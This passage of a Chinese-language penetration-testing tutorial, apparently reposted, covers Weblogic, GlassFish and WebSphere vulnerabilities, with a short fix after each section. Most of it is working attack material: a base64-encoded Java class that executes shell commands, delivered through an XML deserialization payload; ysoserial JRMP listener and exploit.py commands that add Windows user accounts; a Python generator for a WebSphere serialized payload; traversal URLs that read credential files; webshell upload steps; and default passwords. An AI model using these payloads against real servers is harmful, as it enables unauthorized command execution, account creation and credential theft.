  3. + "String ua = ((weblogic.servlet.internal.ServletRequestImpl)((weblogic.work.ExecuteThread)Thread.currentThread()).getCurrentWork()).getHeader(\\"lfcmd\\");\\n"
  4. + "String R = \\"yv66vgAAADIAXAoAGgArCAAsCgAtAC4KAAgALwgAMAoACAAxCgAyADMHADQIADUIADYKADIANwgAOAgAOQoAOgA7BwA8CgAPAD0HAD4KABEAPwgAQAoAEQBBBwBCCgAVACsKABUAQwoAFQBEBwBFBwBGAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEABGV4ZWMBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEADVN0YWNrTWFwVGFibGUHADQHAEcHAEgHADwHAD4BAApFeGNlcHRpb25zBwBJAQAKU291cmNlRmlsZQEAE1Jlc3VsdEJhc2VFeGVjLmphdmEMABsAHAEAB29zLm5hbWUHAEoMAEsAIAwATABNAQADd2luDABOAE8HAFAMAFEAUgEAEGphdmEvbGFuZy9TdHJpbmcBAAdjbWQuZXhlAQACL2MMAB8AUwEABy9iaW4vc2gBAAItYwcARwwAVABVAQAZamF2YS9pby9JbnB1dFN0cmVhbVJlYWRlcgwAGwBWAQAWamF2YS9pby9CdWZmZXJlZFJlYWRlcgwAGwBXAQAADABYAE0BABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgwAWQBaDABbAE0BAA5SZXN1bHRCYXNlRXhlYwEAEGphdmEvbGFuZy9PYmplY3QBABFqYXZhL2xhbmcvUHJvY2VzcwEAE2phdmEvaW8vSW5wdXRTdHJlYW0BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAC2dldFByb3BlcnR5AQALdG9Mb3dlckNhc2UBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEACGNvbnRhaW5zAQAbKExqYXZhL2xhbmcvQ2hhclNlcXVlbmNlOylaAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBABMoTGphdmEvaW8vUmVhZGVyOylWAQAIcmVhZExpbmUBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAh0b1N0cmluZwAhABkAGgAAAAAAAgABABsAHAABAB0AAAAdAAEAAQAAAAUqtwABsQAAAAEAHgAAAAYAAQAAAAMACQAfACAAAgAdAAABCwAFAAgAAACTEgK4AANMK8YAKyu2AAQSBbYABpkAH7gABwa9AAhZAxIJU1kEEgpTWQUqU7YAC02nABy4AAcGvQAIWQMSDFNZBBINU1kFKlO2AAtNLLYADk67AA9ZLbcAEDoEuwARWRkEtwASOgUBOgYSEzoHGQW2ABRZOgbGABy7ABVZtwAWGQe2ABcZBrYAF7YAGDoHp//fGQewAAAAAgAeAAAAMgAMAAAABQAGAAcAFgAJADIADABLAA4AUAAPAFoAEABlABEAaAASAGwAEwB3ABUAkAAXACEAAAAuAAT8ADIHACL8ABgHACP/ACAACAcAIgcAIgcAIwcAJAcAJQcAJgcAIgcAIgAAIwAnAAAABAABACgAAQApAAAAAgAq\\";"
  5. + "sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder();"
  6. + "byte\[\] bt = decoder.decodeBuffer(R);"
  7. + "org.mozilla.classfile.DefiningClassLoader cls = new org.mozilla.classfile.DefiningClassLoader();"
  8. + "Class cl = cls.defineClass(\\"ResultBaseExec\\",bt);"
  9. + "java.lang.reflect.Method m = cl.getMethod(\\"exec\\",new Class\[\]{String.class});"
  10. + "Object object = m.invoke(cl.newInstance(),new Object\[\]{ua});"
  11. + "weblogic.servlet.internal.ServletResponseImpl response = ((weblogic.servlet.internal.ServletRequestImpl)((weblogic.work.ExecuteThread)Thread.currentThread()).getCurrentWork()).getResponse();\\n"
  12. + "weblogic.servlet.internal.ServletOutputStreamImpl outputStream = response.getServletOutputStream();\\n"
  13. + "outputStream.writeStream(new weblogic.xml.util.StringInputStream(object.toString()));\\n"
  14. + "outputStream.flush();\\n"
  15. + "response.getWriter().write(\\"\\");"
  16. + "");

转换成 XMl 格式,参考 lufei 给出的,稍微改一下。

  1. <class\><string\>org.slf4j.ext.EventData</string\>
  2. <void\>
  3. <string\>
  4. <java\>
  5. <void class\="sun.misc.BASE64Decoder"\>
  6. <void method\="decodeBuffer" id\="byte\_arr"\> <string\>yv66vgAAADIAXAoAGgArCAAsCgAtAC4KAAgALwgAMAoACAAxCgAyADMHADQIADUIADYKADIANwgAOAgAOQoAOgA7BwA8CgAPAD0HAD4KABEAPwgAQAoAEQBBBwBCCgAVACsKABUAQwoAFQBEBwBFBwBGAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEABGV4ZWMBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEADVN0YWNrTWFwVGFibGUHADQHAEcHAEgHADwHAD4BAApFeGNlcHRpb25zBwBJAQAKU291cmNlRmlsZQEAE1Jlc3VsdEJhc2VFeGVjLmphdmEMABsAHAEAB29zLm5hbWUHAEoMAEsAIAwATABNAQADd2luDABOAE8HAFAMAFEAUgEAEGphdmEvbGFuZy9TdHJpbmcBAAdjbWQuZXhlAQACL2MMAB8AUwEABy9iaW4vc2gBAAItYwcARwwAVABVAQAZamF2YS9pby9JbnB1dFN0cmVhbVJlYWRlcgwAGwBWAQAWamF2YS9pby9CdWZmZXJlZFJlYWRlcgwAGwBXAQAADABYAE0BABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgwAWQBaDABbAE0BAA5SZXN1bHRCYXNlRXhlYwEAEGphdmEvbGFuZy9PYmplY3QBABFqYXZhL2xhbmcvUHJvY2VzcwEAE2phdmEvaW8vSW5wdXRTdHJlYW0BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAC2dldFByb3BlcnR5AQALdG9Mb3dlckNhc2UBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEACGNvbnRhaW5zAQAbKExqYXZhL2xhbmcvQ2hhclNlcXVlbmNlOylaAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBABMoTGphdmEvaW8vUmVhZGVyOylWAQAIcmVhZExpbmUBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAh0b1N0cmluZwAhABkAGgAAAAAAAgABABsAHAABAB0AAAAdAAEAAQAAAAUqtwABsQAAAAEAHgAAAAYAAQAAAAMACQAfACAAAgAdAAABCwAFAAgAAACTEgK4AANMK8YAKyu2AAQSBbYABpkAH7gABwa9AAhZAxIJU1kEEgpTWQUqU7YAC02nABy4AAcGvQAIWQMSDFNZBBINU1kFKlO2AAtNLLYADk67AA9ZLbcAEDoEuwARWRkEtwASOgUBOgYSEzoHGQW2ABRZOgbGABy7ABVZtwAWGQe2ABcZBrYAF7YAGDoHp
  7. </void\>
  8. </void\>
  9. <void class\="org.mozilla.classfile.DefiningClassLoader"\>
  10. <void method\="defineClass"\>
  11. <string\>ResultBaseExec</string\>
  12. <object idref\="byte\_arr"\></object\>
  13. <void method\="newInstance"\>
  14. <void method\="exec" id\="result"\>
  15. <string\>whoami</string\>
  16. </void\>
  17. </void\>
  18. </void\>
  19. </void\>
  20. <void class\="java.lang.Thread" method\="currentThread"\>
  21. <void method\="getCurrentWork" id\="current\_work"\>
  22. <void method\="getClass"\>
  23. <void method\="getDeclaredField"\>
  24. <string\>connectionHandler</string\>
  25. <void method\="setAccessible"\><boolean\>true</boolean\></void\>
  26. <void method\="get"\>
  27. <object idref\="current\_work"\></object\>
  28. <void method\="getServletRequest"\>
  29. <void method\="getResponse"\>
  30. <void method\="getServletOutputStream"\>
  31. <void method\="writeStream"\>
  32. <object class\="weblogic.xml.util.StringInputStream"\><object idref\="result"\></object\></object\>
  33. </void\>
  34. <void method\="flush"/\>
  35. </void\>
  36. <void method\="getWriter"\><void method\="write"\><string\></string\></void\></void\>
  37. </void\>
  38. </void\>
  39. </void\>
  40. </void\>
  41. </void\>
  42. </void\>
  43. </void\>
  44. </java\>
  45. </string\>
  46. </void\>
  47. </class\>

执行:

Weblogic WLS Core Components 反序列化命令执行漏洞(CVE-2018-2628)

Weblogic Server WLS Core Components 反序列化命令执行漏洞(CVE-2018-2628),该漏洞通过 t3 协议触发,可导致未授权的用户在远程服务器执行任意命令。

使用 exploit.py 脚本进行复现, 具体使用方法见脚本。

Kail Attack :192.168.31.232 Win03 victim : 192.168.124.130

Kail 执行 1)下载 ysoserial.jar wget https://github.com/brianwrf/ysoserial/releases/download/0.0.6-pri-beta/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar

2)使用 ysoserial.jar,启动 JRMP Server java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener [listen port] CommonsCollections1 [command] 其中,[command]是想执行的命令,而[listen port]是 JRMP Server 监听的端口。这里我执行java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'net user xiaohao xiaohao /add'

3)执行 exploit.py python2 exploit.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip] [JRMPListener port] [JRMPClient] 其中,[victim ip]和[victim port]是目标 weblogic 的 IP 和端口,[path to ysoserial]是本地(Kail 系统上的)ysoserial 的路径,[JRMPListener ip]和[JRMPListener port]第一步中启动 JRMP Server 的 IP 地址和端口。[JRMPClient]是执行 JRMPClient 的类,可选的值是 JRMPClient 或 JRMPClient2 这里我执行python2 exploit.py 192.168.124.130 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 192.168.31.232 1099 JRMPClient2

结果如下:

修复建议

1、过滤 t3 协议。 在域结构中点击 安全 -> 筛选器 连接筛选器填: weblogic.security.net.ConnectionFilterImpl 保存后重启 Weblogic.

kail 再次攻击,Exp 将报错。

连接筛选器规则可参考官方文档

2、安装补丁,但是保不准下一次 Weblogic 缝缝补补的黑名单又被绕过。

Weblogic 任意文件上传漏洞(CVE-2018-2894)

Weblogic Web Service Test Page 中一处任意文件上传漏洞,Web Service Test Page 在” 生产模式” 下默认不开启,所以该漏洞有一定限制。

影响版本:12.1.3.0, 12.2.1.2, 12.2.1.3

下载 Weblogic 12.1.3.0

安装的时候将 Weblogic 放在 Java JDK 的 bin 目录下,防止出现因环境变量带空格导致的错误,安装过程一直点击下一步即可。

以下复现是在 Weblogic 开发模式下进行的,若需在生产模式下进行复现,则需要 登录后台页面,点击 base_domain 的配置,在” 高级” 设置中 开启 “启用 Web 服务测试页” 选项,经过我的验证发现开启之后,不仅需要账号密码登陆,即使登陆了也没有这两处上传点。

访问 ws_utc/config.do,设置 Work Home Dir 为 ws_utc 应用的静态文件 css 目录C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\com.oracle.webservices.wls.ws-testclient-app-wls_12.1.3\cmprq0\war\css,因为访问这个目录是无需权限的,提交后,点击左侧 安全 -> 添加,然后上传 Webshell。

点击提交并抓包,获取响应数据包中的时间戳。

然后访问 http://127.0.0.1:7001/ws_utc/css/config/keystore/[时间戳 ]_[文件名 ],即可执行 webshell:

访问 ws_utc/begin.do,点击右上角的文件夹,上传 Webshell,点击提交,并抓包。

在返回数据包中得到 Webshell 路径。

然后访问

http://127.0.0.1:7001/ws_utc/css/upload/RS_Upload_2019-06-07_17-12-18_558/import_file_name_lxhspy.jsp

Note: 1)ws_utc/begin.do 使用的工作目录是在 ws_utc/config.do 中设置的 Work Home Dir。 2)利用需要知道部署应用的 web 目录。 3)在生产模式下默认不开启,在后台开启之后,需要认证

修复建议

启动生产模式, 编辑 domain 路径下的 setDomainEnv.cmd 文件,将 set PRODUCTION_MODE= 更改为 set PRODUCTION_MODE=true C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\bin\setDomainEnv.cmd 目前 (2019/06/07) 生产模式下 已取消这两处上传文件的地方。

Weblogic SSRF 漏洞 (CVE-2014-4210)

影响版本:10.0.2.0, 10.3.6.0

访问 /uddiexplorer/SearchPublicRegistries.jsp,若能正常访问,则可能存在此漏洞,填写任意信息,如下

点击 Search,并抓包,抓包之后在 Burp 中右键,选择 Change request method, 将 POST 请求改变成 GET。

参数 operator 为 SSRF 的可控参数,将其更改为开放的端口,如http://127.0.0.1:7001/,将返回 error code

若开放端口为 HTTP 协议,则会返回 did not have a valid SOAP content-type。

访问不存在的端口,将返回 could not connect over HTTP to server

通过 返回数据包 中的错误信息,即可探测内网状态。

修复建议

删除 SearchPublicRegistries.jsp 文件或修改 SearchPublicRegistries.jsp 文件后缀为不解析后缀,如 SearchPublicRegistries.jspxxx,后重启 Weblogic,再次访问,如下:

SearchPublicRegistries.jsp 路径为: C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\uddiexplorer\5f6ebw\war

Weblogic 弱口令 && 后台 getshell

弱口令参考:https://cirt.net/passwords?criteria=WebLogic

访问http://127.0.0.1:7001/console 自动重定向到http://127.0.0.1:7001/console/login/LoginForm.jsp,使用弱口令登陆后台。

点击部署,进一步点击右边的安装。

点击上载文件,

选择 war 包,点击下一步

上传完成以后选中你上传的文件, 点击下一步

选中作为应用程序安装,点击下一步

然后直接点击完成即可

选用我们安装的应用,点击启动即可。

访问:[http://ip:port/[war 包名 ]/[包名内文件名 ](http://ip:port/[war包名]/[包名内文件名)]

修复建议

避免后台弱口令。

7、GlassFish

GlassFish 是用于构建 Java EE 5 应用服务器的开源开发项目的名称。它基于 Sun Microsystems 提供的 Sun Java System Application Server PE 9 的源代码以及 Oracle 贡献的 TopLink 持久性代码。该项目提供了开发高质量应用服务器的结构化过程,以前所未有的速度提供新的功能。

默认端口:8080(Web 应用端口,即网站内容),4848(GlassFish 管理中心)

默认返回的指纹信息:

  1. Server: GlassFish Server Open Source Edition 4.1.2
  2. X\-Powered\-By: Servlet/3.1 JSP/2.3 (GlassFish Server Open Source Edition 4.1.2 Java/Oracle Corporation/1.8)

下载 4.1.2 版本

解压后,进入 glassfish/bin 目录下打开 CMD 窗口输入 asadmin start-domain 启动 glassfish

asadmin stop-domain 停止 glassfish

GlassFish Directory Traversal(CVE-2017-1000028)

java 语言中会把 %c0%af 解析为\uC0AF,最后转义为 ASCCII 字符的 /(斜杠)。利用..%c0%af..%c0%af 来向上跳转,达到目录穿越、任意文件读取的效果。

计算机指定了 UTF8 编码接收二进制并进行转义,当发现字节以 0 开头,表示这是一个标准 ASCII 字符,直接转义,当发现 110 开头,则取 2 个字节 去掉 110 模板后转义。 UTF8 编码模板如下

C0AF 转换位二进制为 ‭‭110 00000 10 101111‬ ,110 开头去掉摸板后为 00000 101111 转换为 10 进制为 47,ASSCI 为 /.

受影响版本:<=4.1.2 版本

启动 GlassFish 后 ,访问 http://your-ip:4848/theme/META-INF/prototype%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afwindows/win.ini, 发现成功读取 win.ini 文件。

Note: 如果在你的机器上不能成功读取,请自行添加..%c0%af

读 admin-keyfile 文件,该文件是储存 admin 账号密码的文件, 爆破。 位置在glassfish/domains/domain1/config/admin-keyfile

修复建议: 升级 GlassFish 最新版本。

GlassFish 后台 Getshell

进入后台后 Applications,右边的 deploy

选中 war 包后上传,填写 Context Root 这个关系到你访问的 url,点击 Ok。

访问[http://127.0.0.1:8080/\[Context](http://127.0.0.1:8080/%5BContext) Root]/[war 包内的 filename]

Note: 如果管理员不设置帐号本地会自动登录,但是远程访问会提示配置错误。Configuration Error Secure Admin must be enabled to access the DAS remotely

修复建议

  1. 不开放后台给外网, 2. 若开放 密码强度需设置 包含 大写字母,小写字母,数字,特殊字符,且长度大于 10 位。

8、WebSphere

WebSphere® Application Server 加速交付新应用程序和服务,它可以通过快速交付创新的应用程序来帮助企业提供丰富的用户体验。从基于开放标准的丰富的编程模型中进行选择,以便更好地协调项目需求与编程模型功能和开发人员技能。

下载安装 7.0 WebSphere

指纹: Server: WebSphere Application Server/7.0

登录页面: http://127.0.0.1:9060/ibm/console/logon.jsp https://127.0.0.1:9043/ibm/console/logon.jsp

Java 反序列化 (CVE-2015-7450)

访问 8880 端口,出现如下界面,则可能存在 Java 反序列化漏洞

访问 8880,并抓包,然后替换如下 Payload 进行复现,注意更改下 Host.

  1. POST / HTTP/1.1
  2. Host: 192.168.31.12:8880
  3. User\-Agent: Mozilla/5.0 (Windows NT 5.2; rv:48.0) Gecko/20100101 Firefox/48.0
  4. Accept: text/html,application/xhtml+xml,application/xml;q\=0.9,\*

Payload 执行的命令是 net user lxh lxh /add, 效果如下:

如果想要更改执行的命令,可通过如下代码,代码在 python3 下执行。

  1. import base64
  2. from binascii import unhexlify
  3. command \= "net user lxh lxh /add"
  4. serObj \= unhexlify("ACED00057372003273756E2E7265666C6563742E616E6E6F746174696F6E2E416E6E6F746174696F6E496E766F636174696F6E48616E646C657255CAF50F15CB7EA50200024C000C6D656D62657256616C75657374000F4C6A6176612F7574696C2F4D61703B4C0004747970657400114C6A6176612F6C616E672F436C6173733B7870737D00000001000D6A6176612E7574696C2E4D6170787200176A6176612E6C616E672E7265666C6563742E50726F7879E127DA20CC1043CB0200014C0001687400254C6A6176612F6C616E672F7265666C6563742F496E766F636174696F6E48616E646C65723B78707371007E00007372002A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6D61702E4C617A794D61706EE594829E7910940300014C0007666163746F727974002C4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436861696E65645472616E73666F726D657230C797EC287A97040200015B000D695472616E73666F726D65727374002D5B4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707572002D5B4C6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E5472616E73666F726D65723BBD562AF1D83418990200007870000000057372003B6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436F6E7374616E745472616E73666F726D6572587690114102B1940200014C000969436F6E7374616E747400124C6A6176612F6C616E672F4F626A6563743B7870767200116A6176612E6C616E672E52756E74696D65000000000000000000000078707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E496E766F6B65725472616E73666F726D657287E8FF6B7B7CCE380200035B000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B4C000B694D6574686F644E616D657400124C6A6176612F6C616E672F537472696E673B5B000B69506172616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C02000078700000000274000A67657452756E74696D65757200125B4C6A6176612E6C616E672E436C6173733BAB16D7AECBCD5A990200007870000000007400096765744D6574686F647571007E001E00000002767200106A6176612E6C616E672E537472696E67A0F0A4387A3BB34202000078707671007E001E7371007E00167571007E001B00000002707571007E001B00000000740006696E766F6B657571007E001E00000002767200106A6176612E6C616E672E4F626A656374000000000000000000000078707671007E001B7371007E0016757200135B4C6A6176612E6C616E672E537472696E673BADD256E7E91D7B470200007870000000017400")
  5. serObj += (chr(len(command)) + command).encode('ascii')
  6. serObj += unhexlify("740004657865637571007E001E0000000171007E00237371007E0011737200116A6176612E6C616E672E496E746567657212E2A0A4F781873802000149000576616C7565787200106A6176612E6C616E672E4E756D62657286AC951D0B94E08B020000787000000001737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F40000000000010770800000010000000007878767200126A6176612E6C616E672E4F766572726964650000000000000000000000787071007E003A")
  7. serObjB64 \= base64.b64encode(serObj).decode()
  8. print(serObjB64)

将输出的 serObjB64,替换到上面 Payload 中的 params 节点,其余无需改变。

  1. <params xsi:type\="ns1:\[Ljava.lang.Object;"\>{serObjB64}</params\>

回显参考 DeserializeExploit.jar(laster)

修复建议

7.x 版本已不提供支持,因此选择升级版本。 若版本还在 IBM 支持范围,可选择打补丁。

弱口令 && 后台 Getshell

在 6.x 至 7.0 版本,后台登陆只需要输入 admin 作为用户标识,无需密码,即可登陆后台。常用弱口令:websphere/ websphere、system/ manager。

1、点击 WebSphere 企业应用程序,点击安装。

  1. 上传 war 包,点击下一步。

3、一直点击下一步,直到下图,填写上下文根,关系到你访问的 URL,接着一直点下一步直到安装完成

4、安装完成之后,点击保存主配置,然后回到 WebSphere 企业应用程序,选中 war 包启动,访问 shell。

修复建议: 设置密码。

本文转载自网络,如有侵权,请联系删除。
https://cloud.tencent.com/developer/article/1591383